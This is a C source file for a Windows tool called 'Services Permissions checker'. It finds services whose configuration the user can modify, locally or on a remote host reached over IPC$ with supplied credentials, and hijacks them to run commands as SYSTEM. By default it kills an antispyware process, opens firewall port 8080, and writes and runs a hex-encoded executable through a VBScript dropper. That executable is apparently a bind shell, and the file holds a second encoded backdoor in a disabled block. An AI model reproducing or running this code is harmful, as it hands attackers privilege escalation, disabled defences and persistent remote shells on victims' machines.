00001
00002
00003
00004
00005
00006
00007
00008
00009
00010
00011
00012
00013
00014
00015
00016
00017
00018
00019
00020
00021
00022
00023
00024
00025
00026
00027
00028
00029
00030
00031
00032
00033
00034
00035
00036
00037
00038
00039
00040
00041
00042
00043
00044
00045
00046 #include <stdio.h>
00047 #include <windows.h>
00048
00049
00050 void doFormatMessage( unsigned int dwLastErr );
00051 void usage(void);
00052 DWORD StartModifiedService(SC_HANDLE SCM, char *srv, BOOL dbg);
00053 void ListVulnerableService(char *host);
00054 char *GetOwner(char *servicio);
00055
00056
00057 char init[]="cmd.exe /c rd /Q /S \\HXR";
00058 char antispyware[]="taskkill.exe /IM gcasDtServ.exe";
00059 char firewall[]="cmd.exe /c netsh firewall add portopening TCP 8080 SrvCheck ENABLE ALL";
00060
00061
00062 char EncodedBackdoor[]=
00063 "cmd.exe /c md \\HXR && "
00064 "echo f=\"4D5A900003z3z04z3z504500004C01020046534721z8zE0000F010B01z3z04z3z06z6z3F43z3z1000000Cz5z40000010z3z02000004z7z04z8z50z3z\">\\HXR\\a.vbs && "
00065 "echo f=f ^&\"02z6z02z5z10000010z4z10000010z6z10z11z0444000034z119z74z4z30z3z10z22zE00000C0z4z7461z3z10z3z4000003804z3z02z14zE00000C04B\">>\\HXR\\a.vbs && "
00066 "echo f=f ^& \"45524E454C33322E646C6Cz3z4C6F61644C69627261727941000047657450726F6341646472657373z25zFA434000EE434000F0434000980140000010\">>\\HXR\\a.vbs && "
00067 "echo f=f ^& \"40000040400001204000013040z5z7A21400001z3z2C4440z57z551C8BEC818E24021C1E53405D0856578D4501C033F6BF183040C050C7DD16F72E0C\">>\\HXR\\a.vbs && "
00068 "echo f=f ^& \"0EC44403893275C806CC07D0935DD41026E009CFE4A47DE80CD806DC80ECFF18154C206E5653E5CDB81380CB5033046810CF83576F2236B1078D85DC\">>\\HXR\\a.vbs && "
00069 "echo f=f ^& \"FDAF792A02B2DD246C2D34C86A06E401E802C81E708668901F34188BD866C0F002C845744FAF89ACF21658886A1081F4E714080850A53AF032532A5C\">>\\HXR\\a.vbs && "
00070 "echo f=f ^& \"1101911360298D18446450CE32F81268236A443DEE6CC05BA09850E8414FB38F4EB02219431883C4181B899DA3210AD2759C502C4EF4988C01086849\">>\\HXR\\a.vbs && "
00071 "echo f=f ^& \"10087C8198F3EC10EB32A406A806ACB044085F075E5BC9C21007CCE725DD1D53466AD1688048C4D063120A64A151BB42DC8925A00883EC6768FA57C0\">>\\HXR\\a.vbs && "
00072 "echo f=f ^& \"65E833DB903D52FCED22400D59830D30BFF7210E34322A14278BD62C1B3289081C1819280CA151380DC1A3DF151DE8108C0C391D1C17751B0C68C2DB\">>\\HXR\\a.vbs && "
00073 "echo f=f ^& \"2258101859E8E2D7680CDD3154082831CD1FA124150A3294E5398650FF35201BD114E57E669009A02429151CB11404337084489A13C724A1CA6F3AC8\">>\\HXR\\a.vbs && "
00074 "echo f=f ^& \"10078C803E22533A461D138A06C3C374043C281CF213F30F0A2076F2D519D09EA417089EF6BE830174110FB7B8D4EB0ED9583CD8472CB0F56A0A5890\">>\\HXR\\a.vbs && "
00075 "echo f=f ^& \"5649539D2204A17D86350903989822692C7A8B73EC75080009894D885051E80FA98559C5C3FE402FFF756488402454642A28064534245303A2058206\">>\\HXR\\a.vbs && "
00076 "echo f=f ^& \"E817902A33C0E7D1CC5D01954C442C4199DBz3zAF01F644FF843812403698080000AD0180636D642E6578E5C0576F7070600100011C58204001575332\">>\\HXR\\a.vbs && "
00077 "echo f=f ^& \"5F33CC2E64716CE1C108C285010248060D6401320319730859395341036F636B6574BE1854092210C08B4D5356435243540C615F733A75C708726DAE\">>\\HXR\\a.vbs && "
00078 "echo f=f ^& \"ED680CDF392370737E663E6F64D20B3D637CA60D6C67524A69796E7972CFB66F9EF6712AEE7861690D586370F146E56CEB7080556711C4636DC8BA6E\">>\\HXR\\a.vbs && "
00079 "echo f=f ^& \"365C1CDF2D7125646ABECC6EB2E669761ACFA86E6E728F6CAA707F4E9DBCEED2CF79DEA8507663DF985E685B6E802A7033D188AF4B4539524EAB4CF6\">>\\HXR\\a.vbs && "
00080 "echo f=f ^& \"99496053CA8884B41E70826E666F4185104D1FA0B25C48AC3422457B72A3CBF35067C094731C1E01634C855553438640025465676973A79443C6613E\">>\\HXR\\a.vbs && "
00081 "echo f=f ^& \"2B4578301457AB0A646F7710180200BEA4014000AD93AD97AD5696B280A4B680FF1373F933C9FF13731633C0FF13731FB68041B010FF1312C073FA75\">>\\HXR\\a.vbs && "
00082 "echo f=f ^& \"3CAAEBE0FF530802F683D901750EFF5304EB26ACD1E8742F13C9EB1A9148C1E008ACFF53043D007D0000730A80FC05730683F87F77024141958BC5B6\">>\\HXR\\a.vbs && "
00083 "echo f=f ^& \"00568BF72BF0F3A45EEB9D8BD65EAD48740A7902AD50568BF297EB87AD935E46AD9756FF1395AC84C075FBFE0E74F0790546AD50EB09FE0E0F8460CD\">>\\HXR\\a.vbs && "
00084 "echo f=f ^& \"FFFF5655FF5304ABEBE033C941FF1313C9FF1372F8C302D275058A164612D2C32C44z10z540100002C44z22z610100006F01z14z\">>\\HXR\\a.vbs && "
00085 "echo i=1 : t = \"\" : While i^<=len(f) : If mid(f,i,1) = \"z\" then>>\\HXR\\a.vbs && "
00086 "echo a=i+1 : k = 0 : while mid(f,a,1)^<^>\"z\" : k = k*10 + mid(f,a,1) : a = a+1 : WEnd : i = a+1 : for a=1 to k : t = t + \"00\" : Next>>\\HXR\\a.vbs && "
00087 "echo ElseIf mid(f,i,1) ^<^> \"z\" then : t = t ^& mid(f,i,2) : i = i+2 >>\\HXR\\a.vbs && "
00088 "echo end if : WEnd : Set o = CreateObject(\"Scripting.FileSystemObject\") >>\\HXR\\a.vbs && "
00089 "echo Set n = o.CreateTextFile(\"\\HXR\\a.exe\", ForWriting) : i = 1 : while i ^< len(t)>>\\HXR\\a.vbs && "
00090 "echo f = Int(\"&H\" ^& Mid(t, i, 2)) : n.Write(Chr(f)) : i = i+2 : WEnd : n.Close>>\\HXR\\a.vbs && "
00091 "echo Set s=CreateObject(\"WScript.Shell\") : s.run(\"\\HXR\\a.exe\")>>\\HXR\\a.vbs &&"
00092 "\\HXR\\a.vbs /B";
00093
00094
00095
00096 BYTE LIST=0,HELP=0,BACKDOOR=1, STOP=0;
00097 char RemoteHost[256];
00098 char permission[256];
00099
00100
00101 int main(int argc, char* argv[]) {
00102
00103 SC_HANDLE SCM,Svc;
00104 DWORD ret,len;
00105 char CurrentUserName[256];
00106 char *newPath=NULL;
00107 char *host=NULL;
00108 char *user=NULL;
00109 char *pass=NULL;
00110 char *srv=NULL;
00111 int i;
00112 NETRESOURCE NET;
00113 SERVICE_STATUS_PROCESS StopStatus;
00114
00115 printf(" Services Permissions checker v2.0\n");
00116 printf(" (c) 2006 Andres Tarasco - atarasco%cgmail.com\n\n",'@');
00117
00118 if (argc==1) usage();
00119 for (i=1;i<argc;i++) {
00120 if ( (strlen(argv[i])==2) && (argv[i][0]=='-') ) {
00121 switch (argv[i][1]) {
00122 case 'l': LIST=1; break;
00123 case 'm': srv=argv[i+1]; i=i+1;break;
00124 case 'u': if (!host) usage(); user=argv[i+1]; i=i++; break;
00125 case 'p': if (!host) usage(); pass=argv[i+1]; i=i++; break;
00126 case 'H': host=argv[i+1]; i=i++; break;
00127 case 'c': newPath=argv[i+1]; i=i+1; BACKDOOR=0; break;
00128 case 's': STOP=1; break;
00129 case '?': HELP=1; usage(); break;
00130 default: printf("Unknown Parameter: %s\n",argv[i]);usage(); break;
00131 }
00132 }
00133 }
00134
00135 if ((!LIST) && (!srv) )usage();
00136
00137 if (host) {
00138 printf("[+] Trying to connect to remote SCM\n");
00139 sprintf(RemoteHost,"\\\\%s\\IPC$",host);
00140 printf("[+] Host: %s\n",RemoteHost);
00141 printf("[+] Username: %s\n",user);
00142 printf("[+] Password: %s\n",pass);
00143
00144 NET.dwType = RESOURCETYPE_ANY;
00145 NET.lpProvider = NULL;
00146 NET.lpLocalName=NULL;
00147 NET.lpRemoteName = (char *)RemoteHost;
00148 ret=WNetAddConnection2(&NET,pass,user,CONNECT_COMMANDLINE);
00149
00150
00151 if ( (ret!=NO_ERROR) && (user !=NULL) ) {
00152 if (ret==1219) {
00153 printf("[-] Credentials mismatch. Removing old connection\n");
00154 WNetCancelConnection2(RemoteHost,NULL,TRUE);
00155 ret=WNetAddConnection2(&NET,pass,user,CONNECT_UPDATE_PROFILE);
00156 } else {
00157 if (ret==1326) {
00158 if (strchr(user,'\\')==NULL) {
00159 sprintf(CurrentUserName,"localhost\\%s",user);
00160 printf("[-] Unknown Username or password\n");
00161 printf("[+] Trying \"%s\" as new username\n",CurrentUserName);
00162 ret=WNetAddConnection2(&NET,pass,CurrentUserName,CONNECT_UPDATE_PROFILE);
00163 }
00164 }
00165 }
00166 if (ret!=NO_ERROR) {
00167 printf("WNetAddConnection Failed to %s (%s/ %s)\n",RemoteHost,user,pass);
00168 doFormatMessage(GetLastError());
00169 exit(-1);
00170 }
00171 }
00172 printf("[+] Network Connection OK\n");
00173
00174 } else {
00175 printf("[+] Trying to enumerate local resources\n");
00176 len=sizeof(CurrentUserName)-1;
00177 GetUserName( CurrentUserName,&len);
00178 printf("[+] Username: %s\n",CurrentUserName);
00179 }
00180
00181
00182 if (LIST) {
00183 ListVulnerableService(host);
00184 exit(1);
00185 }
00186
00187
00188
00189
00190 SCM = OpenSCManager(host,NULL,STANDARD_RIGHTS_WRITE | SERVICE_START );
00191 if (!SCM){
00192 printf("[-] OpenScManager() FAILED\n");
00193 doFormatMessage(GetLastError());
00194 exit(-1);
00195 }
00196 if (STOP) {
00197 Svc = OpenService(SCM,srv,SERVICE_CHANGE_CONFIG | STANDARD_RIGHTS_WRITE | SERVICE_STOP);
00198 } else {
00199 Svc = OpenService(SCM,srv,SERVICE_CHANGE_CONFIG | STANDARD_RIGHTS_WRITE);
00200 }
00201
00202 if (Svc==NULL) {
00203 printf("[-] Unable to open Service %s\n",srv);
00204 exit(-1);
00205 }
00206
00207
00208
00209
00210
00211 if (STOP) {
00212 printf("[+] Stopping previously running instances...\n");
00213 if (ControlService(Svc,SERVICE_CONTROL_STOP,&StopStatus)!=0) {
00214 doFormatMessage(GetLastError());
00215
00216 }
00217 exit(-1);
00218 }
00219
00220
00221 if (BACKDOOR) {
00222 printf("[+] Uninstalling previous backdoors\n");
00223 ret=ChangeServiceConfig(
00224 Svc,SERVICE_NO_CHANGE,SERVICE_AUTO_START,
00225 SERVICE_ERROR_IGNORE,init,NULL,NULL,"",
00226 NULL,NULL,NULL);
00227
00228 if (ret!=0) StartModifiedService(SCM,srv,0);
00229
00230 printf("[+] Granting Remote bindshell Execution..\n");
00231 ret=ChangeServiceConfig(
00232 Svc,SERVICE_NO_CHANGE,SERVICE_AUTO_START,
00233 SERVICE_ERROR_IGNORE,firewall,NULL,NULL,"",
00234 NULL,NULL,NULL);
00235 if (ret!=0) StartModifiedService(SCM,srv,0);
00236 printf("[+] Shutting down remote antispyware Service =)\n");
00237 ret=ChangeServiceConfig(
00238 Svc,SERVICE_NO_CHANGE,SERVICE_AUTO_START,
00239 SERVICE_ERROR_IGNORE,antispyware,NULL,NULL,"",
00240 NULL,NULL,NULL);
00241 if (ret!=0) StartModifiedService(SCM,srv,0);
00242 printf("[+] Installing Backdoor Code...\n");
00243 ret=ChangeServiceConfig(
00244 Svc,SERVICE_NO_CHANGE,SERVICE_AUTO_START,
00245 SERVICE_ERROR_IGNORE,EncodedBackdoor,NULL,NULL,"",
00246 NULL,NULL,NULL);
00247 } else {
00248 printf("[+] Sending custom commands to the service\n");
00249 ret=ChangeServiceConfig(
00250 Svc,SERVICE_NO_CHANGE,SERVICE_AUTO_START,
00251 SERVICE_ERROR_IGNORE,newPath,NULL,NULL,"",
00252 NULL,NULL,NULL);
00253 }
00254
00255 if (ret!=0) {
00256 printf("[+] The service have been succesfully modified =)\n");
00257 CloseServiceHandle(Svc);
00258 StartModifiedService(SCM,srv,1);
00259 } else {
00260 printf("[-] Service modification Failed\n");
00261 doFormatMessage(ret);
00262 }
00263 CloseServiceHandle(SCM);
00264 if (host) WNetCancelConnection2(RemoteHost,NULL,TRUE);
00265 return(1);
00266 }
00267
00268
00269 void doFormatMessage( unsigned int dwLastErr ) {
00270 LPVOID lpMsgBuf;
00271 FormatMessage(
00272 FORMAT_MESSAGE_ALLOCATE_BUFFER |
00273 FORMAT_MESSAGE_IGNORE_INSERTS |
00274 FORMAT_MESSAGE_FROM_SYSTEM,
00275 NULL,
00276 dwLastErr,
00277 MAKELANGID( LANG_NEUTRAL, SUBLANG_DEFAULT ),
00278 (LPTSTR) &lpMsgBuf,
00279 0,
00280 NULL );
00281 printf("ErrorCode %i: %s\n", dwLastErr, lpMsgBuf);
00282 LocalFree( lpMsgBuf );
00283 }
00284
00285
00286
00287 DWORD StartModifiedService(SC_HANDLE SCM, char *srv, BOOL dbg) {
00288
00289 SC_HANDLE Svc;
00290 DWORD Error;
00291 SERVICE_STATUS_PROCESS StartStatus;
00292 DWORD dwByteNeeded;
00293
00294 DWORD dwOldCheckPoint;
00295 DWORD dwStartTickCount;
00296 DWORD dwWaitTime;
00297
00298 Svc= OpenService( SCM, srv, SERVICE_ALL_ACCESS);
00299
00300 if (Svc==NULL) {
00301 if (dbg) printf("[-] Unable to reopen service for starting..\n");
00302 return(-1);
00303 } else {
00304 if (dbg) printf("[+] Service Opened. Trying to Start... (wait a few seconds)\n");
00305 }
00306
00307 if (!StartService(Svc,0,NULL)) {
00308 Error=GetLastError();
00309 if (Error==1053) {
00310 if (dbg) {
00311 printf("[+] StarteService() Error due to a non service application execution\n");
00312 printf("[+] Ignore it. Your application should be executed =)\n");
00313 if (BACKDOOR) {
00314 printf("[+] Now connect to port 8080 and enjoy your new privileges\n");
00315 }
00316 }
00317 } else {
00318 if (dbg) {
00319 printf("[-] Unable to start Service :/\n");
00320 doFormatMessage(Error);
00321 }
00322 return(Error);
00323 }
00324
00325 } else {
00326 if (dbg) printf("[+] Starting Service....\n");
00327 if (!QueryServiceStatusEx(
00328 Svc,
00329 SC_STATUS_PROCESS_INFO,
00330 &StartStatus,
00331 sizeof(SERVICE_STATUS_PROCESS),
00332 &dwByteNeeded) )
00333 {
00334 if (dbg) printf("[-] Unable to QueryServiceStatusEx() \n");
00335 return(-2);
00336 } else {
00337
00338
00339
00340 dwStartTickCount = GetTickCount();
00341 dwOldCheckPoint = StartStatus.dwCheckPoint;
00342 while (StartStatus.dwCurrentState == SERVICE_START_PENDING)
00343 {
00344 if (dbg) printf("Wait Time: %i\n",StartStatus.dwWaitHint);
00345 dwWaitTime = StartStatus.dwWaitHint / 10;
00346 if( dwWaitTime < 1000 )
00347 dwWaitTime = 1000;
00348 else if ( dwWaitTime > 10000 )
00349 dwWaitTime = 10000;
00350 Sleep( dwWaitTime );
00351
00352
00353 if (!QueryServiceStatusEx(
00354 Svc,
00355 SC_STATUS_PROCESS_INFO,
00356 &StartStatus,
00357 sizeof(SERVICE_STATUS_PROCESS),
00358 &dwByteNeeded ) )
00359 {
00360 if (dbg) printf("[-] Unable to QueryServiceStatusEx() \n");
00361 return(-2);
00362 }
00363 if ( StartStatus.dwCheckPoint > dwOldCheckPoint )
00364 {
00365
00366 dwStartTickCount = GetTickCount();
00367 dwOldCheckPoint = StartStatus.dwCheckPoint;
00368 } else {
00369 if(GetTickCount()-dwStartTickCount > StartStatus.dwWaitHint)
00370 {
00371
00372 if (dbg) printf("el servicio no se ha arrancado...\n");
00373 break;
00374 }
00375 }
00376 }
00377 }
00378 CloseServiceHandle(Svc);
00379 if (StartStatus.dwCurrentState == SERVICE_RUNNING)
00380 {
00381 if (dbg) printf("[+] StartService SUCCESS.\n");
00382 return 1;
00383 }
00384 else
00385 {
00386 if (dbg) printf("\n[-] Service not started. \n");
00387 }
00388 }
00389 return(0);
00390 }
00391
00392
00393
00394
00395 void usage(void) {
00396 printf(" Usage:\n\t-l\t\t list vulnerable services\n");
00397 printf("\t-m <service>\t modify the configuration for that service\n");
00398 printf("\t-c <command>\t Command to execute throw remote service\n");
00399 printf("\t\t\t by default. bindshell application will be used\n");
00400 printf("\t-H <Host>\t specify a remote host to connect ip/netbiosname)\n");
00401 printf("\t-u <user>\t if not seletected Default logon credentials used)\n");
00402 printf("\t-p <password>\t if not used Default logon credentials used)\n");
00403 printf("\t-?\t\t Extended information with samples\n");
00404
00405 if (HELP) {
00406 printf(" examples:\n");
00407 printf("\tsrvcheck.exe -l (list local vulnerabilities)\n");
00408 printf("\tsrvcheck.exe -m service (spawn a shell at port 8080)\n");
00409 printf("\tsrvcheck.exe -m service -c \"cmd.exe /c md c:\\PWNED\"\n"),
00410 printf("\tsrvcheck -l -H host (list remote vulnerabilities)\n");
00411 }
00412 exit(-1);
00413 }
00414
00415
00416
00417 void ListVulnerableService(char *host) {
00418 SC_HANDLE SCM;
00419 SC_HANDLE Svc;
00420 DWORD nResumeHandle;
00421 DWORD dwServiceType;
00422 LPENUM_SERVICE_STATUS_PROCESS lpServices;
00423 DWORD nSize = 0;
00424 DWORD nServicesReturned;
00425 unsigned int n;
00426 unsigned int l=0;
00427 DWORD dwByteNeeded;
00428 LPQUERY_SERVICE_CONFIG lpConfig;
00429 char *p;
00430
00431 SCM = OpenSCManager(host,NULL,SC_MANAGER_ENUMERATE_SERVICE);
00432 if (!SCM){
00433 printf("[-] OpenScManager() FAILED\n");
00434 doFormatMessage(GetLastError());
00435 exit(-1);
00436 }
00437 nResumeHandle = 0;
00438 dwServiceType = SERVICE_WIN32 | SERVICE_DRIVER;
00439 lpServices = (LPENUM_SERVICE_STATUS_PROCESS) LocalAlloc(LPTR, 65535);
00440 if (!lpServices) {
00441 printf("[-] CRITICAL ERROR: LocalAlloc() Failed\n");
00442 exit(-1);
00443 }
00444 memset(lpServices,'\0',sizeof(lpServices));
00445 if (EnumServicesStatusEx(SCM, SC_ENUM_PROCESS_INFO,
00446 dwServiceType, SERVICE_STATE_ALL,
00447 (LPBYTE)lpServices, 65535,
00448 &nSize, &nServicesReturned,
00449 &nResumeHandle, NULL) == 0)
00450 {
00451 printf("EnumServicesStatusEx FAILED\n");
00452 exit(-1);
00453 }
00454
00455 printf("[+] Listing Vulnerable Services...\n");
00456 for (n = 0; n < nServicesReturned; n++) {
00457 Svc = OpenService(SCM,lpServices[n].lpServiceName, SERVICE_CHANGE_CONFIG | SC_MANAGER_ENUMERATE_SERVICE |GENERIC_READ);
00458 if (Svc!=NULL) {
00459 l++;
00460 printf("\n [%s]\t\t%s\n",lpServices[n].lpServiceName, lpServices[n].lpDisplayName);
00461 printf(" Status: 0x%x\n",lpServices[n].ServiceStatusProcess.dwCurrentState);
00462 if (!host) {
00463 p=GetOwner(lpServices[n].lpServiceName);
00464 if (p) {
00465 printf(" Context:\t\t%s\n",p);
00466 }
00467 }
00468 dwByteNeeded = 0;
00469 lpConfig = (LPQUERY_SERVICE_CONFIG) LocalAlloc(LPTR, 1024*8);
00470 if (QueryServiceConfig(Svc, lpConfig, 1024*8, &dwByteNeeded)!=0) {
00471 printf(" Parameter:\t\t%s\n",lpConfig->lpBinaryPathName);
00472 }else {
00473 doFormatMessage(GetLastError());
00474 }
00475 }
00476 }
00477 printf("\n[+] Analyzed %i Services in your system\n",nServicesReturned);
00478 if (l>0) {
00479 printf("[+] You were Lucky. %i vulnerable services found\n",l);
00480 } else {
00481 printf("[+] Your system is secure! Great! :/\n");
00482 }
00483 if (host) WNetCancelConnection2(RemoteHost,NULL,TRUE);
00484 CloseServiceHandle(SCM);
00485 LocalFree(lpServices);
00486 exit(1);
00487 }
00488
00489
00490
00491 char *GetOwner(char *servicio) {
00492
00493 char path[256];
00494 HKEY hReg;
00495 DWORD len=sizeof(permission);
00496
00497 sprintf(path,"SYSTEM\\CurrentControlSet\\Services\\%s",servicio);
00498 if (RegOpenKeyEx(HKEY_LOCAL_MACHINE,path,0,KEY_QUERY_VALUE,&hReg)== ERROR_SUCCESS ) {
00499 if (RegQueryValueEx(hReg,"ObjectName",NULL,NULL,permission,&len)==ERROR_SUCCESS) {
00500 RegCloseKey(hReg);
00501 return(permission);
00502 }
00503 RegCloseKey(hReg);
00504 }
00505 return(NULL);
00506 }
00507
00508
00509
00510
00511
00512 #if 0
00513
00514
00515 char init[]="cmd.exe /c rd /Q /S \\srvcheck";
00516 char antispyware[]="taskkill.exe /IM gcasDtServ.exe";
00517 char firewall[]="netsh firewall add portopening TCP 8080 SrvCheck";
00518
00519 char EncodedBackdoor[]=
00520 "cmd.exe /c md \\srvcheck && "
00521 "echo f=\"4D5A900003z3z04z3z504500004C010100188AEC3Fz8zE0000F010B0106000002z10z2810z3z1000000Cz5z40000010z3z02000004z7z04z8z20z3z02\">\\srvcheck\\a.vbs && "
00522 "echo f=f ^& \"z6z02z5z10000010z4z10000010z6z10z11z041100003Cz84z10000020z27z2E74657874z3z9A01z3z1000009C01z3z02z14z200000E010z11z041100\">>\\srvcheck\\a.vbs && "
00523 "echo f=f ^& \"003Cz51z436865636B73756D20526F636B7A2121z17z10000020z27z2E74657874z3z9A01z3z10z3z02z3z02z14z200000E0z40z6011z6z0D00008002\">>\\srvcheck\\a.vbs && "
00524 "echo f=f ^& \"000080801100007300008001000080z4z636D642E65786500558BEC81ECF801000053568D8508FEFFFF57506802020000FF151410400033F65656566A\">>\\srvcheck\\a.vbs && "
00525 "echo f=f ^& \"066A016A02FF15101040008BD883FBFF0F8499z3z8D45EC6A10505366C745EC02008975F066C745EE1F90FF150C10400083F8FF740C68FFFFFF7F53FF\">>\\srvcheck\\a.vbs && "
00526 "echo f=f ^& \"150810400033C08D7DDCABABABAB8D45FC66C745DC0200508D45DC5053C745FC10z3zFF15181040008BD083FAFF74406A1133C0598D7D98F3AB8D45EC\">>\\srvcheck\\a.vbs && "
00527 "echo f=f ^& \"C7459844z3z508D459850565668400000086A015656682010400056C745C4000100008955D88955D48955D0FF15001040005F5E33C05BC9C210004011\">>\\srvcheck\\a.vbs && "
00528 "echo f=f ^& \"z10z7211z3z1000004811z10z8E1100000810z22z6011z6z0D00008002000080801100007300008001000080z4z470043726561746550726F63657373\">>\\srvcheck\\a.vbs && "
00529 "echo f=f ^& \"4100004B45524E454C33322E646C6C00003D00575341536F636B65744100005753325F33322E646C6Cz4z\">>\\srvcheck\\a.vbs && "
00530 "echo i=1 : t = \"\" : While i^<=len(f) : If mid(f,i,1) = \"z\" then>>\\srvcheck\\a.vbs && "
00531 "echo a=i+1 : k = 0 : while mid(f,a,1)^<^>\"z\" : k = k*10 + mid(f,a,1) : a = a+1 : WEnd : i = a+1 : for a=1 to k : t = t + \"00\" : Next>>\\srvcheck\\a.vbs && "
00532 "echo ElseIf mid(f,i,1) ^<^> \"z\" then : t = t ^& mid(f,i,2) : i = i+2 >>\\srvcheck\\a.vbs && "
00533 "echo end if : WEnd : Set o = CreateObject(\"Scripting.FileSystemObject\") >>\\srvcheck\\a.vbs && "
00534 "echo Set n = o.CreateTextFile(\"\\srvcheck\\a.exe\", ForWriting) : i = 1 : while i ^< len(t)>>\\srvcheck\\a.vbs && "
00535 "echo f = Int(\"&H\" ^& Mid(t, i, 2)) : n.Write(Chr(f)) : i = i+2 : WEnd : n.Close>>\\srvcheck\\a.vbs && "
00536 "echo Set s=CreateObject(\"WScript.Shell\") : s.run(\"\\srvcheck\\a.exe\")>>\\srvcheck\\a.vbs &&"
00537 "\\srvcheck\\a.vbs /B";
00538
00539
00540 #endif
